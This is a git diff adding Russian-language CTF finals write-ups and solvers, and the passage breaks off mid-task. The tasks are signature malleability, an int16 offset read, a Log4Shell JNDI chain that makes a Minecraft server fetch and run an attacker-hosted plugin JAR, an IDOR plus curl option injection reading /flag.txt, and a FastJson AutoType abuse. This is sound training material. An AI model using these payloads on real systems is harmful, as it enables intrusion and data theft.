a/finals/scalaralias-crypto-easy/WRITEUP.md b/finals/scalaralias-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..e9fd557 --- /dev/null +++ b/finals/scalaralias-crypto-easy/WRITEUP.md @@ -0,0 +1,82 @@ +

ScalarAlias

+ +

+ Crypto + easy +

+ +Реестр KiteLedger выдаёт аудиторскую квитанцию с подписью и запечатанный экспорт. Подпись проверяется по числовым значениям, а ключ экспорта привязан к байтам JSON. Если найти две разные записи одной валидной подписи, можно получить нужный вариант квитанции. + +## Решение + +В раздатке есть `receipt.json`, `sealed_export.json`, `verify_receipt.py` и `NOTES.md`. Смотрим проверку Schnorr-подобной подписи: + +```text +left = ((s % Q) * BASE) % Q +right = (R + e * public_key) % Q +``` + +Здесь `Q = 170141183460469231731687303715884105727`, `BASE = 9`, а `e` вычисляется через SHA-256. Скаляр `s` приводят по модулю `Q`, но диапазон `0 <= s < Q` перед этим не проверяют. + +Получается, `(R, s)` и `(R, s + Q)` проходят одну и ту же проверку, поскольку остаток одинаковый. При этом значение `s` в сериализованном JSON различается. Это и есть **malleability**, возможность изменить подпись, сохранив её валидность. + +Пробуем ближайший эквивалентный вариант `s + Q`. Загружаем квитанцию и функции из `public/verify_receipt.py`, затем меняем скаляр, сохраняя его строковое представление. + +```python +from pathlib import Path +from hashlib import sha256 +import importlib.util +import json + +spec = importlib.util.spec_from_file_location("receipt_verifier", "public/verify_receipt.py") +verifier = importlib.util.module_from_spec(spec) +spec.loader.exec_module(verifier) +Q = verifier.Q +receipt = json.loads(Path("public/receipt.json").read_text()) +changed = json.loads(json.dumps(receipt)) +changed["signature"]["s"] = str(int(changed["signature"]["s"]) + Q) +``` + +Проверяем изменённую квитанцию через `verify_receipt()`, затем получаем ключ: + +```python +assert verifier.verify_receipt(changed) +key = sha256( + b"KiteLedger sealed export binding\0" + verifier.canonical_json(changed) +).digest() +``` + +`canonical_json` сортирует ключи и использует компактные разделители. Повторяем именно эту сериализацию, иначе получим другой ключ. Из `sealed_export.json` переводим `nonce_hex`, `ciphertext_hex` и `tag_hex` в байты. Первые 16 байт `sha256(key + b"export-tag" + nonce + ciphertext).digest()` сравниваем с тегом экспорта. Проверяем тег до расшифровки. + +```python +sealed = json.loads(Path("public/sealed_export.json").read_text()) +nonce = bytes.fromhex(sealed["nonce_hex"]) +ciphertext = bytes.fromhex(sealed["ciphertext_hex"]) +tag = bytes.fromhex(sealed["tag_hex"]) +expected = sha256(key + b"export-tag" + nonce + ciphertext).digest()[:16] +assert expected == tag +``` + +Для варианта `s + Q` тег сходится, подтверждая выбор квитанции. + +После проверки снимаем XOR. Блоки потока считаются как `sha256(key + b"scalaralias-stream" + nonce + counter4be).digest()`, где `counter4be` — четыре байта счётчика в big-endian. Счётчик начинается с нуля. + +```python +stream = bytearray() +counter = 0 +while len(stream) < len(ciphertext): + stream.extend(sha256( + key + b"scalaralias-stream" + nonce + counter.to_bytes(4, "big") + ).digest()) + counter += 1 +plain = bytes(a ^ b for a, b in zip(ciphertext, stream)) +print(plain.decode()) +``` + +Полученный текст содержит флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{noncanonical_scalar_unsealed_the_export}` diff --git a/finals/scalaralias-crypto-easy/solve/solve.py b/finals/scalaralias-crypto-easy/solve/solve.py new file mode 100644 index 0000000..e729547 --- /dev/null +++ b/finals/scalaralias-crypto-easy/solve/solve.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +import importlib.util +import json +import re +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] + + +def load_verifier(): + path = ROOT / "public" / "verify_receipt.py" + spec = importlib.util.spec_from_file_location("scalaralias_verify", path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + spec.loader.exec_module(module) + return module + + +verifier = load_verifier() + + +def malleate_receipt(receipt: dict) -> dict: + changed = json.loads(json.dumps(receipt)) + changed["signature"]["s"] = str(int(changed["signature"]["s"]) + verifier.Q) + return changed + + +def binding_key(receipt: dict) -> bytes: + return verifier.hashlib.sha256( + b"KiteLedger sealed export binding\0" + verifier.canonical_json(receipt) + ).digest() + + +def keystream(key: bytes, nonce: bytes, length: int) -> bytes: + out = b"" + counter = 0 + while len(out) < length: + out += verifier.hashlib.sha256( + key + b"scalaralias-stream" + nonce + counter.to_bytes(4, "big") + ).digest() + counter += 1 + return out[:length] + + +def xor_bytes(left: bytes, right: bytes) -> bytes: + return bytes(a ^ b for a, b in zip(left, right)) + + +def open_export(receipt: dict, sealed: dict) -> str: + if not verifier.verify_receipt(receipt): + raise ValueError("receipt does not verify") + + key = binding_key(receipt) + nonce = bytes.fromhex(sealed["nonce_hex"]) + ciphertext = bytes.fromhex(sealed["ciphertext_hex"]) + tag = bytes.fromhex(sealed["tag_hex"]) + expected = verifier.hashlib.sha256(key + b"export-tag" + nonce + ciphertext).digest()[:16] + if expected != tag: + raise ValueError("sealed export tag mismatch") + plaintext = xor_bytes(ciphertext, keystream(key, nonce, len(ciphertext))).decode() + match = re.search(r"caplag\{[^}]+\}", plaintext) + if not match: + raise ValueError("flag not found") + return match.group(0) + + +def main() -> None: + receipt = json.loads((ROOT / "public" / "receipt.json").read_text()) + sealed = json.loads((ROOT / "public" / "sealed_export.json").read_text()) + print(open_export(malleate_receipt(receipt), sealed)) + + +if __name__ == "__main__": + main() diff --git a/finals/sortkey-station-pwn-easy/WRITEUP.md b/finals/sortkey-station-pwn-easy/WRITEUP.md new file mode 100644 index 0000000..472d817 --- /dev/null +++ b/finals/sortkey-station-pwn-easy/WRITEUP.md @@ -0,0 +1,35 @@ +

SortKey Station

+ +

+ PWN + easy +

+ +Складская станция сортирует этикетки и поддерживает старый формат ключей `+POS.C`. В ELF `sortkey-station` находим приведение позиции к знаковому 16-битному числу. Большая положительная позиция после него превращается в отрицательное смещение. + +## Решение + +При проверке старого ключа сервис обращается к `key_buf + (int16_t)pos` и сравнивает строку по этому адресу с `SORT-EXPORT`. Если подобрать `pos`, чтение уйдёт перед началом ключа — в профиль партии, содержимое которого можно задать. + +Нужная область находится за 32 байта до `key_buf`. В 16-битной арифметике: + +$$65504 - 65536 = -32.$$ + +Значит, подходит ключ `+65504.0`. Теперь размещаем строку допуска в профиле: + +```python +profile = b"A" * 64 + b"SORT-EXPORT" +legacy_key = b"+65504.0" +``` + +Строка допуска начинается после 64 байт заполнения в профиле, по смещению `-32` от начала `key_buf`. + +В `1) set batch profile` отправляем профиль, затем в `2) set legacy sort key` задаём `+65504.0`. Вызываем `3) dry-run sort`, чтобы сервис проверил допуск, и забираем результат через `4) export station batch`. + +Проверка читает `SORT-EXPORT` из подставленного профиля и принимает его за разрешение на экспорт. В ответе получаем флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{legacy_sort_pointer_found_the_batch_grant}` diff --git a/finals/sortkey-station-pwn-easy/solve/solve.py b/finals/sortkey-station-pwn-easy/solve/solve.py new file mode 100644 index 0000000..63078ee --- /dev/null +++ b/finals/sortkey-station-pwn-easy/solve/solve.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31340) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/sortkey-station") + p.add_argument("--flag", default="caplag{legacy_sort_pointer_found_the_batch_grant}") + args = p.parse_args() + io = connect(args) + choose(io, 1) + io.recvuntil(b"profile:") + io.sendline(b"A" * 64 + b"SORT-EXPORT") + choose(io, 2) + io.recvuntil(b"legacy key:") + io.sendline(b"+65504.0") + choose(io, 3) + choose(io, 4) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/syktyvkar/WRITEUP.md b/finals/syktyvkar/WRITEUP.md new file mode 100644 index 0000000..6632d2a --- /dev/null +++ b/finals/syktyvkar/WRITEUP.md @@ -0,0 +1,126 @@ +

SYKTYV/KAR

+ +

+ Minecraft +

+ +После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители». + +На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции. + +## Решение + +Подключитесь к узлу по выданным SSH-реквизитам. + +```bash +ssh -p player@ +``` + +Пользователь работает в ограниченном `rbash`, а неизменяемый `PATH` указывает на `/opt/diag`. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт. + +```bash +ps aux # java -jar /opt/minecraft/spigot-1.16.5.jar +ss -ltn # 25565 слушает +``` + +Процесс запущен с `spigot-1.16.5.jar`, сервер слушает порт `25565`. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались [исправленные сборки](https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/). Проверьте обработку `${jndi:...}` в чате. + +Для доступа к Minecraft пробросьте порт через SSH. + +```bash +ssh -N -p player@ -L 25565:127.0.0.1:25565 +``` + +Подключитесь клиентом Minecraft Java **1.16.5** к `127.0.0.1:25565`. Сервер работает в offline mode и принимает любой ник. + +В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в `jebat jnl`, а после ROT13 получается `wrong way`. Эта подсказка ведёт в тупик. + +### Проверка обработчика + +Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты. + +```text +javaCodeBase: http://:8000/garbage +javaFactory: pwn.Pwned +``` + +По адресу из `javaCodeBase` разместите тестовый файл `garbage` с произвольным содержимым и откройте к нему доступ по HTTP. + +```bash +python3 -m http.server 8000 --bind 0.0.0.0 +``` + +Отправьте JNDI-ссылку в чат. + +```text +${jndi:ldap://:1389/Exploit} +``` + +Сервер обращается по ссылке, скачивает файл из `javaCodeBase` и пытается загрузить его как плагин. В чате появляется ошибка. + +```text +Could not load plugin in folder 'plugins': invalid plugin JAR +``` + +Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик `${jndi:...}` передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке. + +### Загрузка плагина + +Подготовьте Bukkit-плагин для Spigot 1.16.5, используя `spigot-api` версии 1.16.5 и байткод Java 8. Укажите класс `pwn.Pwned` в `plugin.yml`. + +```yaml +name: Pwned +version: 1.0.0 +main: pwn.Pwned +api-version: "1.16" +``` + +В `Pwned.java` добавьте обработчик `onEnable()`, который читает `flag.txt` из рабочей директории сервера и отправляет содержимое в чат. + +```java +package pwn; + +import org.bukkit.Bukkit; +import org.bukkit.plugin.java.JavaPlugin; + +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +public final class Pwned extends JavaPlugin { + @Override + public void onEnable() { + try { + String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim(); + Bukkit.broadcastMessage("[PWN] " + flag); + } catch (Exception exception) { + Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage()); + } + } +} +``` + +Упакуйте `plugin.yml` и `pwn/Pwned.class` в JAR. Готовый [Pwned.jar](solve/payload/Pwned.jar) содержит оба файла. + +Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе. + +```text +javaCodeBase: http://:8000/Pwned.jar +javaFactory: pwn.Pwned +``` + +Повторно отправьте ссылку в чат. + +```text +${jndi:ldap://:1389/Exploit} +``` + +Сервер скачивает JAR, проверяет формат ZIP, наличие `plugin.yml` и основного класса, затем сверяет `javaFactory` с полем `main`. После сохранения файла в `plugins/dropins/` HotLoader загружает плагин. Вызов `onEnable()` читает `flag.txt` и публикует флаг в чате. + +В [солвере](solve/solve.py) используется прямая HTTP-доставка JAR через `${jndi:http://:/pwned.jar}`. + +## Флаг + +`caplag{m1n3cr4ft_15_my_l1f3_XXXX}` + +Суффикс `XXXX` зависит от выданного команде узла. diff --git a/finals/syktyvkar/solve/payload/Pwned.jar b/finals/syktyvkar/solve/payload/Pwned.jar new file mode 100644 index 0000000..887016d Binary files /dev/null and b/finals/syktyvkar/solve/payload/Pwned.jar differ diff --git a/finals/syktyvkar/solve/payload/Pwned.java b/finals/syktyvkar/solve/payload/Pwned.java new file mode 100644 index 0000000..af9d45f --- /dev/null +++ b/finals/syktyvkar/solve/payload/Pwned.java @@ -0,0 +1,20 @@ +package pwn; + +import org.bukkit.Bukkit; +import org.bukkit.plugin.java.JavaPlugin; + +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +public final class Pwned extends JavaPlugin { + @Override + public void onEnable() { + try { + String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim(); + Bukkit.broadcastMessage("[PWN] " + flag); + } catch (Exception exception) { + Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage()); + } + } +} diff --git a/finals/syktyvkar/solve/payload/plugin.yml b/finals/syktyvkar/solve/payload/plugin.yml new file mode 100644 index 0000000..cd1136f --- /dev/null +++ b/finals/syktyvkar/solve/payload/plugin.yml @@ -0,0 +1,4 @@ +name: Pwned +version: 1.0.0 +main: pwn.Pwned +api-version: "1.16" diff --git a/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java b/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java new file mode 100644 index 0000000..0eb0567 --- /dev/null +++ b/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java @@ -0,0 +1,7 @@ +package org.bukkit; + +public final class Bukkit { + public static int broadcastMessage(String message) { + return 0; + } +} diff --git a/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java b/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java new file mode 100644 index 0000000..4ec2dd1 --- /dev/null +++ b/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java @@ -0,0 +1,12 @@ +package org.bukkit.plugin.java; + +public class JavaPlugin { + public void onLoad() { + } + + public void onEnable() { + } + + public void onDisable() { + } +} diff --git a/finals/syktyvkar/solve/requirements.txt b/finals/syktyvkar/solve/requirements.txt new file mode 100644 index 0000000..c59cac4 --- /dev/null +++ b/finals/syktyvkar/solve/requirements.txt @@ -0,0 +1 @@ +paramiko>=3.0 diff --git a/finals/syktyvkar/solve/solve.py b/finals/syktyvkar/solve/solve.py new file mode 100644 index 0000000..325bfd8 --- /dev/null +++ b/finals/syktyvkar/solve/solve.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python3 +"""Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction. + +Usage: + python solve.py [--my-ip LAN_IP] + +Steps: + 1. SSH direct-tcpip to the container's Minecraft port + 2. Login as an offline 1.16.5 player + 3. Start a local HTTP listener (probe + payload JAR) + 4. Send ${jndi:http://:/check} in chat — egress probe + 5. Send ${jndi:http://:/pwned.jar} — real payload + 6. Extract flag from chat broadcast +""" +import io +import os +import re +import socket +import struct +import sys +import threading +import time +import zipfile + +try: + import paramiko +except ImportError: + print("FAIL: pip install paramiko"); sys.exit(1) + +PROTO = 754 # 1.16.5 +FLAG_MARK = "caplag{" +FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}") + + +def varint(v): + out = b"" + while True: + b = v & 0x7F; v >>= 7 + if v: out += bytes([b | 0x80]) + else: return out + bytes([b]) + + +def dec_varint(d, p=0): + v = 0; s = 0 + while True: + b = d[p]; p += 1 + v |= (b & 0x7F) << s + if not b & 0x80: return v, p + s += 7 + + +def load_payload(): + jar = os.path.join(os.path.dirname(os.path.abspath(__file__)), + "payload", "Pwned.jar") + if not os.path.isfile(jar): + return None + suffix = str(int(time.time()))[-6:] + src = zipfile.ZipFile(jar) + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out: + for item in src.infolist(): + data = src.read(item.filename) + if item.filename == "plugin.yml": + data = data.decode().replace( + "name: Pwned", "name: Pwned" + suffix).encode() + out.writestr(item, data) + src.close() + return buf.getvalue() + + +class MC: + def __init__(self, sock, nick): + self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock() + self.wlock = threading.Lock() + + def send(self, pid, body=b""): + p = varint(pid) + body + f = varint(0) + p if self.th >= 0 else p + with self.wlock: + self.s.sendall(varint(len(f)) + f) + + def recv_pkt(self): + ln = 0; sh = 0 + while True: + b = self._b(1)[0] + ln |= (b & 0x7F) << sh + if not b & 0x80: break + sh += 7 + raw = self._b(ln) + if self.th >= 0: + dl = 0; sh = 0; p = 0 + while True: + b = raw[p]; p += 1 + dl |= (b & 0x7F) << sh + if not b & 0x80: break + sh += 7 + body = raw[p:] + if dl: body = __import__("zlib").decompress(body) + else: + body = raw + return body[0], body[1:] + + def _b(self, n): + d = b"" + while len(d) < n: + c = self.s.recv(n - len(d)) + if not c: raise ConnectionError("closed") + d += c + return d + + def login(self, nick): + h = b"127.0.0.1" + hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2) + self.s.sendall(varint(len(hs)) + hs) + self.send(0, varint(len(nick)) + nick.encode()) + for _ in range(10): + pid, pl = self.recv_pkt() + if pid == 3: self.th = dec_varint(pl)[0] + elif pid == 2: + threading.Thread(target=self._rd, daemon=True).start() + return True + return False + + def _rd(self): + import json + while True: + try: + pid, pl = self.recv_pkt() + except Exception: + return + if pid == 0x0E: + try: + jl, off = dec_varint(pl) + obj = json.loads(pl[off:off + jl].decode("utf-8", "replace")) + txt = [] + def w(n): + if isinstance(n, dict): + if "text" in n: txt.append(str(n["text"])) + for k in ("extra", "with"): + for i in n.get(k, []) or []: w(i) + elif isinstance(n, str): txt.append(n) + w(obj) + line = "".join(txt) + if line: + with self.lock: + self.chat.append(line) + except Exception: + pass + elif pid == 0x21 and len(pl) == 8: + v = int.from_bytes(pl, "big") + if 0 < v < (1 << 40): + self.send(0x10, pl) + + def say(self, t): + self.send(3, varint(len(t)) + t.encode()) + + def wait(self, m, to=20, since=0, pattern=None): + dl = time.time() + to + while time.time() < dl: + with self.lock: + for l in self.chat[since:]: + if m in l and (pattern is None or pattern.search(l)): + return l + time.sleep(0.2) + return None + + +def main(): + if len(sys.argv) < 5: + print(__doc__); sys.exit(1) + host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] + my_ip = "127.0.0.1" + if "--my-ip" in sys.argv: + my_ip = sys.argv[sys.argv.index("--my-ip") + 1] + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0] + except Exception: pass + finally: s.close() + + payload_jar = load_payload() + print(f"[*] target {host}:{port} as {user}") + print(f"[*] my IP: {my_ip}") + if not payload_jar: + print("FAIL: payload/Pwned.jar is missing") + sys.exit(1) + print("[*] payload: OK") + + # 1. SSH tunnel + print("[1] SSH tunnel...", end=" ", flush=True) + try: + cli = paramiko.SSHClient() + cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + cli.connect(host, port=port, username=user, password=pw, + look_for_keys=False, allow_agent=False, timeout=8) + chan = cli.get_transport().open_channel( + "direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0)) + print("OK") + except Exception as e: + print(f"FAIL ({e})"); sys.exit(1) + + # 2. HTTP listener (probe + payload) + hit = [] + from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer + class H(BaseHTTPRequestHandler): + def do_GET(self): + hit.append(self.path) + body = b"x" + if self.path == "/pwned.jar" and payload_jar: + body = payload_jar + self.send_response(200) + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + def log_message(self, *a): pass + httpd = ThreadingHTTPServer(("0.0.0.0", 0), H) + http_port = httpd.server_address[1] + threading.Thread(target=httpd.serve_forever, daemon=True).start() + print(f"[2] HTTP listener on :{http_port}") + + # 3. MC login + print("[3] Minecraft login...", end=" ", flush=True) + mc = MC(chan, "Checker") + if not mc.login("Checker"): + print("FAIL"); sys.exit(1) + print("OK") + time.sleep(3) + with mc.lock: + base = len(mc.chat) + + # 4. Egress probe + probe_url = f"http://{my_ip}:{http_port}/check" + print(f"[4] Egress probe: {probe_url}", flush=True) + mc.say(f"${{jndi:{probe_url}}}") + probe_ok = False + dl = time.time() + 15 + while time.time() < dl: + if any("/check" in h for h in hit): + probe_ok = True + print("[4] PASS: egress confirmed (server fetched /check)") + break + r = mc.wait("Could not load plugin", to=1, since=base) + if r: + probe_ok = True + print("[4] PASS: chat oracle responded") + break + time.sleep(0.5) + if not probe_ok: + print("[4] FAIL: no egress, no oracle") + sys.exit(1) + time.sleep(1) + with mc.lock: + base2 = len(mc.chat) + + # 5. Flag extraction + jar_url = f"http://{my_ip}:{http_port}/pwned.jar" + print(f"[5] Sending payload: {jar_url}", flush=True) + mc.say(f"${{jndi:{jar_url}}}") + line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE) + if line is None: + line = mc.wait("[PWN]", to=2, since=base2) + match = FLAG_RE.search(line) if line else None + if match: + print(f"[5] FLAG: {line}") + print(f"\n {match.group(0)}\n") + sys.exit(0) + if line: + print(f"[5] FAIL: plugin returned no complete flag: {line}") + sys.exit(1) + print("[5] FAIL: no flag in chat within 25s") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/finals/task11_flowbase/WRITEUP.md b/finals/task11_flowbase/WRITEUP.md new file mode 100644 index 0000000..3a655f6 --- /dev/null +++ b/finals/task11_flowbase/WRITEUP.md @@ -0,0 +1,49 @@ +

FlowBase

+ +

+ Web + hard +

+ +В платформе автоматизации FlowBase собираем потоки из нод и запускаем их вебхуками. Флаг лежит в `/flag.txt`, доступном служебному пользователю `flowsvc`. В сервисе открыта регистрация. Начинаем с создания учётной записи. + +## Решение + +`robots.txt` подсказывает каталог `/dl/`. Файл, записанный в этот каталог, можно будет забрать через веб. Регистрируемся через `POST /api/register` с JSON-полями `username` и `password`. Из поля `token` ответа получаем bearer-токен и передаём его в `Authorization: Bearer ` при чтении потоков и их версий. `GET /api/flows` показывает только потоки текущего пользователя. Сразу после регистрации список пуст. + +Зато `GET /api/flows/{id}/versions` владельца не проверяет. Перебираем числовые ID от 1 до 40 с полученным токеном и находим чужой `backup-daily`. В JSON версий находим ноду `system.run` и берём `webhook_uuid` соответствующей версии. Проверяем её параметры. + +| Поле | Почему интересно | +|---|---| +| `owner = admin` | Поток принадлежит администратору | +| `webhook_uuid` | Адрес запуска потока | +| Нода `system.run` | Выполняет `curl $CURL_OPTS $BACKUP_URL` | + +IDOR дал UUID вебхука. Проверка его ключа отключена через `WebhookAuthEnable=false`, поэтому `POST /webhooks/{uuid}/run` запускает поток без авторизации. Тело запроса позволяет задать `env` для нод. + +Сервис проверяет, что первое слово команды равно `curl`, но аргументы берёт из переданных переменных. Подставляем локальный источник и файл назначения: + +```json +{ + "env": { + "BACKUP_URL": "file:///flag.txt", + "CURL_OPTS": "-s -o /app/static/dl/leak.txt" + } +} +``` + +Отправляем этот JSON в `POST /webhooks/{uuid}/run` с `Content-Type: application/json`, без заголовка авторизации. На сервере получается: + +```bash +curl -s -o /app/static/dl/leak.txt file:///flag.txt +``` + +Процесс `flowsvc` может прочитать флаг и записать файл в каталог статики. Вывод ноды в ответ вебхука не попадает. Сохранённый результат забираем через `GET /dl/leak.txt`. + +Доступ к версиям чужого потока раскрывает UUID, которого достаточно для запуска. Переданные переменные окружения становятся аргументами `curl`, позволяя скопировать закрытый файл в доступный каталог. + +[Солвер](solve/solve.py). + +## Флаг + +`CAPLAG{flowb4s3_webhook_def4ult_0ff}` diff --git a/finals/task11_flowbase/solve/solve.py b/finals/task11_flowbase/solve/solve.py new file mode 100644 index 0000000..a95e5aa --- /dev/null +++ b/finals/task11_flowbase/solve/solve.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +"""FlowBase — автоматическое решение задания 11 (stdlib only). + +Цепочка: + 1. Регистрация -> bearer-токен. + 2. Перебор GET /api/flows/{1..40}/versions (IDOR) -> webhook UUID + админского потока с нодой system.run. + 3. Анонимный POST /webhooks//run с подменой переменных: + BACKUP_URL=file:///flag.txt, CURL_OPTS=-o /app/static/dl/.txt + 4. GET /dl/.txt -> флаг. + +Запуск: python solve.py http://localhost:18111 +""" +import json +import random +import string +import sys +import urllib.error +import urllib.request + + +def req(method, url, token=None, payload=None): + data = json.dumps(payload).encode() if payload is not None else None + r = urllib.request.Request(url, data=data, method=method) + if data is not None: + r.add_header("Content-Type", "application/json") + if token: + r.add_header("Authorization", "Bearer " + token) + try: + with urllib.request.urlopen(r) as resp: + return resp.status, resp.read() + except urllib.error.HTTPError as e: + return e.code, e.read() + + +def main(): + base = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:18111" + rnd = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) + user, password = f"solver_{rnd}", f"pw_{rnd}" + + print(f"[*] Цель: {base}") + + # 1. Регистрация. + code, body = req("POST", base + "/api/register", + payload={"username": user, "password": password}) + if code != 201: + sys.exit(f"[-] Регистрация не удалась: {code} {body!r}") + token = json.loads(body)["token"] + print(f"[+] Зарегистрирован {user}, токен получен") + + # 2. IDOR: перебор версий чужих потоков, ищем system.run. + webhook_uuid = None + flow_name = None + for fid in range(1, 41): + code, body = req("GET", f"{base}/api/flows/{fid}/versions", token=token) + if code != 200: + continue + data = json.loads(body) + version = next( + (ver for ver in reversed(data.get("versions", [])) + if ver.get("webhook_uuid") and any( + node.get("type") == "system.run" for node in ver.get("nodes", []) + )), + None, + ) + if version is not None: + webhook_uuid = version["webhook_uuid"] + flow_name = data["name"] + print(f"[+] IDOR: поток #{fid} '{flow_name}' " + f"(owner={data.get('owner')}), нода system.run, " + f"webhook UUID: {webhook_uuid}") + break + if not webhook_uuid: + sys.exit("[-] Поток с system.run не найден") + + # 3. Анонимный запуск вебхука с инъекцией опций curl через env. + out_name = f"leak_{rnd}.txt" + payload = {"env": { + "BACKUP_URL": "file:///flag.txt", + "CURL_OPTS": f"-s -o /app/static/dl/{out_name}", + }} + code, body = req("POST", f"{base}/webhooks/{webhook_uuid}/run", payload=payload) + if code != 200: + sys.exit(f"[-] Вебхук не сработал: {code} {body!r}") + print(f"[+] Вебхук исполнен без аутентификации: {body.decode().strip()}") + + # 4. Забираем результат из статической раздачи. + code, body = req("GET", f"{base}/dl/{out_name}") + if code != 200: + sys.exit(f"[-] Файл не появился в /dl/: {code} {body!r}") + flag = body.decode().strip() + print(f"[+] Содержимое /dl/{out_name}: {flag}") + + if flag.startswith("CAPLAG{"): + print(f"\nFLAG: {flag}") + else: + sys.exit("[-] Ответ не похож на флаг") + + +if __name__ == "__main__": + main() diff --git a/finals/task12_docmerge/WRITEUP.md b/finals/task12_docmerge/WRITEUP.md new file mode 100644 index 0000000..17a25e3 --- /dev/null +++ b/finals/task12_docmerge/WRITEUP.md @@ -0,0 +1,64 @@ +

DocMerge

+ +

+ Web + hard+ +

+ +DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`. + +## Решение + +Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`. + +Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы: + +| Класс | Ответ фильтра | Вывод | +|---|---|---| +| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени | +| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр | +| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются | + +### Чтение через ScriptFilter + +`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`. + +Создаём этот фильтр внутри задания: + +```bash +curl -sS http://:18112/api/merge \ + -H 'Content-Type: application/json' \ + --data '{ + "title":"quarterly-report", + "documents":["doc one","doc two"], + "renderer":{"template":"default","filters":[ + {"@type":"com.docmerge.plugins.ScriptFilter", + "className":"com.docmerge.util.PreviewUtil", + "methodName":"readFile", + "argument":"/flag"} + ]} + }' +``` + +Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с 